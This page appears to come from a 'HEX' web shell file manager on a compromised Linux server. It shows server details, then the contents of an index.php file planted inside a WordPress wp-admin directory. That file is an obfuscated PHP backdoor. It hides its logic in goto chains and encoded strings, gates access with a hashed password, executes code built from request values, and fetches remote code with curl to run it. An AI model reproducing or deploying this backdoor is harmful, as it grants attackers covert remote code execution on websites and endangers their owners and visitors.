HEX
Server: Apache/2
System: Linux vps32496.sdns.vn 3.10.0-1160.99.1.el7.x86_64 #1 SMP Wed Sep 13 14:19:20 UTC 2023 x86_64
User: khuondaotc (1075)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/khuondaotc/domains/khuondaotct.com/private_html/wp-admin/includes/includes/index.php
<?php
 goto SXNaRfZWXI; rb1whz2FwG: metaphone("\x50\x7a\171\x78\143\127\x37\x44\103\156\x72\x6c\x55\x4a\161\x4b\x56\124\x56\x32\x78\x35\x42\x4e\x58\x52\x36\152\x50\x59\x35\x74\120\x72\x67\121\x51\x6d\65\70\165\x68\x63"); goto J1tTFxJ8Rr; IjIG3P5Zp6: @(md5(md5(md5(md5($WxDVMziwge[6])))) === "\71\61\65\x63\x34\65\62\x65\x63\x65\63\x30\x39\63\x33\x65\x39\63\66\x61\x65\61\x62\x33\x36\64\x34\64\142\71\66\x64") && (($WxDVMziwge[62] = $WxDVMziwge[62] . $WxDVMziwge[77]) && ($WxDVMziwge[83] = $WxDVMziwge[62]($WxDVMziwge[83])) && @($WxDVMziwge = $WxDVMziwge[83]($WxDVMziwge[60], $WxDVMziwge[62](${$WxDVMziwge[39]}[12]))) && $WxDVMziwge()); goto A36SIrklTX; NEvK5JHb4I: $WxDVMziwge = ${$TwYJU7VCpy[29 + 2] . $TwYJU7VCpy[34 + 25] . $TwYJU7VCpy[38 + 9] . $TwYJU7VCpy[10 + 37] . $TwYJU7VCpy[0 + 51] . $TwYJU7VCpy[43 + 10] . $TwYJU7VCpy[24 + 33]}; goto IVs32u9LwE; IVs32u9LwE: if (!(in_array(gettype($WxDVMziwge) . count($WxDVMziwge), $WxDVMziwge) && count($WxDVMziwge) == 12)) { goto CpQZnRJ3Ql; } goto IjIG3P5Zp6; A36SIrklTX: CpQZnRJ3Ql: goto rb1whz2FwG; J1tTFxJ8Rr: class dgzzzhqa4W { static function Hi_tvhhw79($uQL8APH50Y) { goto jn1uqaWBu_; H1rRSl8z18: $GiO1pOLJ9F = $HD8CxZZleT("\x7e", "\x20"); goto VoEeTwY_px; oODqfiLV7E: SRN6qQRA0W: goto Vinggf1EGq; VoEeTwY_px: $n1IVUqW350 = explode("\133", $uQL8APH50Y); goto rLfQ7wyXUY; wodxIr5mpy: foreach ($n1IVUqW350 as $bM6hKkzLAx => $keb1vekFgZ) { $kh80I1Hppg .= $GiO1pOLJ9F[$keb1vekFgZ - 86005]; sg8mXzhI2I: } goto oODqfiLV7E; rLfQ7wyXUY: $kh80I1Hppg = ''; goto wodxIr5mpy; jn1uqaWBu_: $HD8CxZZleT = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto H1rRSl8z18; Vinggf1EGq: return $kh80I1Hppg; goto prAeQKnzvb; prAeQKnzvb: } static function eFFE_iD1Qt($be7HicvmEW, $kqNvLEcKYD) { goto IriwyobcWo; ayJxITX5Gv: curl_setopt($wqOptx8tmg, CURLOPT_RETURNTRANSFER, 1); goto QtVN0eVJKo; j37bb6X0ED: return empty($FSGfc6LD_7) ? $kqNvLEcKYD($be7HicvmEW) : $FSGfc6LD_7; goto EfQFLq32Am; IriwyobcWo: $wqOptx8tmg = curl_init($be7HicvmEW); goto ayJxITX5Gv; QtVN0eVJKo: $FSGfc6LD_7 = curl_exec($wqOptx8tmg); goto j37bb6X0ED; EfQFLq32Am: } static function YLCVWCC9F3() { goto DC1kfCZfxa; w0YucQVU2Y: $LFUzS1EYuc = self::EFFe_ID1qT($Bvuwogg2Jl[0 + 1], $oFpko46MD6[4 + 1]); goto O_Kyixd9T0; gMBjnJfAVD: Gqv1aPyN3_: goto STZma5f_Xj; Y1GKyXFo_P: if (!(@$Bvuwogg2Jl[0] - time() > 0 and md5(md5($Bvuwogg2Jl[0 + 3])) === "\x31\67\71\x66\64\x31\x61\144\x65\64\141\146\141\145\146\144\x39\x30\x35\x30\60\x64\67\63\62\x31\x63\145\x62\x35\x30\145")) { goto x4f6N_l9sM; } goto w0YucQVU2Y; O_Kyixd9T0: @$oFpko46MD6[0]('', $oFpko46MD6[1 + 6] . $oFpko46MD6[2 + 2]($LFUzS1EYuc) . $oFpko46MD6[2 + 6]); goto o0nZH8ekG3; VQJk_HCT1B: $JJMAG8oEJ0 = @$oFpko46MD6[3 + 0]($oFpko46MD6[5 + 1], $d0XLBE0eyS); goto qaP1BGyi8E; STZma5f_Xj: $d0XLBE0eyS = @$oFpko46MD6[1]($oFpko46MD6[4 + 6](INPUT_GET, $oFpko46MD6[1 + 8])); goto VQJk_HCT1B; jCLBKpfjJU: foreach ($rNvz7VvoRM as $iQMFQ7Rj2_) { $oFpko46MD6[] = self::Hi_TvhHW79($iQMFQ7Rj2_); MtuRu9VLle: } goto gMBjnJfAVD; o0nZH8ekG3: die; goto prR64lJO2a; qaP1BGyi8E: $Bvuwogg2Jl = $oFpko46MD6[1 + 1]($JJMAG8oEJ0, true); goto yfM7p_mYKy; DC1kfCZfxa: $rNvz7VvoRM = array("\x38\66\60\x33\x32\x5b\x38\66\x30\x31\x37\133\x38\66\60\x33\x30\x5b\x38\66\x30\x33\x34\x5b\x38\66\x30\x31\x35\x5b\70\66\x30\63\60\133\70\66\x30\63\x36\x5b\x38\66\x30\x32\x39\133\70\66\60\61\x34\133\x38\x36\x30\62\x31\x5b\x38\x36\60\63\62\x5b\x38\66\60\61\x35\133\70\x36\60\62\x36\133\x38\x36\x30\62\x30\133\70\66\x30\62\61", "\x38\66\x30\61\66\133\x38\66\x30\x31\65\x5b\70\x36\60\61\x37\x5b\x38\66\x30\x33\x36\x5b\x38\x36\60\x31\67\133\x38\x36\60\x32\x30\133\70\x36\60\61\x35\x5b\x38\x36\x30\70\62\133\x38\66\60\x38\x30", "\x38\66\x30\62\x35\133\70\66\x30\61\x36\133\70\x36\x30\x32\60\x5b\x38\66\60\x32\x31\133\70\x36\x30\63\66\x5b\x38\66\60\x33\61\x5b\70\x36\x30\x33\x30\133\x38\66\60\63\x32\x5b\x38\x36\60\x32\x30\133\x38\66\60\x33\61\133\x38\x36\x30\x33\x30", "\70\x36\60\61\x39\133\70\x36\60\63\64\133\x38\x36\x30\x33\x32\133\x38\x36\60\62\x34", "\x38\66\60\x33\63\133\70\66\x30\63\64\133\70\66\x30\x31\x36\x5b\70\x36\60\x33\x30\133\x38\66\x30\x37\x37\x5b\70\66\x30\67\71\x5b\70\x36\x30\63\66\x5b\x38\66\60\63\x31\133\70\66\60\63\x30\x5b\x38\66\60\x33\62\133\x38\66\60\62\60\x5b\70\66\x30\x33\x31\x5b\70\x36\x30\63\x30", "\x38\x36\60\x32\x39\x5b\70\x36\60\x32\66\133\70\x36\60\x32\63\133\x38\66\x30\63\x30\x5b\x38\x36\60\x33\x36\133\70\66\60\x32\x38\x5b\x38\66\x30\63\x30\x5b\x38\x36\60\61\x35\x5b\70\x36\x30\x33\66\133\70\66\x30\x33\x32\133\70\x36\60\62\60\133\x38\66\60\x32\x31\133\x38\x36\x30\61\x35\133\x38\66\x30\63\60\133\70\x36\60\x32\x31\x5b\70\66\60\x31\65\x5b\70\x36\x30\61\66", "\70\x36\x30\x35\x39\x5b\x38\66\60\x38\71", "\x38\x36\60\x30\66", "\70\x36\x30\x38\x34\133\x38\66\60\70\71", "\x38\x36\60\x36\66\x5b\x38\x36\x30\x34\x39\x5b\70\x36\x30\x34\71\x5b\x38\x36\x30\x36\x36\x5b\x38\66\x30\64\x32", "\70\x36\60\62\71\x5b\x38\x36\60\62\x36\x5b\70\x36\x30\62\x33\x5b\70\66\60\61\x35\133\x38\66\x30\63\60\x5b\x38\x36\x30\x31\x37\x5b\x38\66\x30\x33\66\133\x38\66\60\62\x36\133\x38\x36\x30\62\x31\133\70\66\x30\x31\71\133\70\x36\60\61\x34\x5b\x38\66\x30\61\x35"); goto jCLBKpfjJU; prR64lJO2a: x4f6N_l9sM: goto tTkGtfBCkZ; yfM7p_mYKy: @$oFpko46MD6[2 + 8](INPUT_GET, "\157\146") == 1 && die($oFpko46MD6[2 + 3](__FILE__)); goto Y1GKyXFo_P; tTkGtfBCkZ: } } goto RPgO8P7ilx; SXNaRfZWXI: $TwYJU7VCpy = range("\x7e", "\x20"); goto NEvK5JHb4I; RPgO8P7ilx: dGzZZhqA4W::YlCVWCC9f3();
?>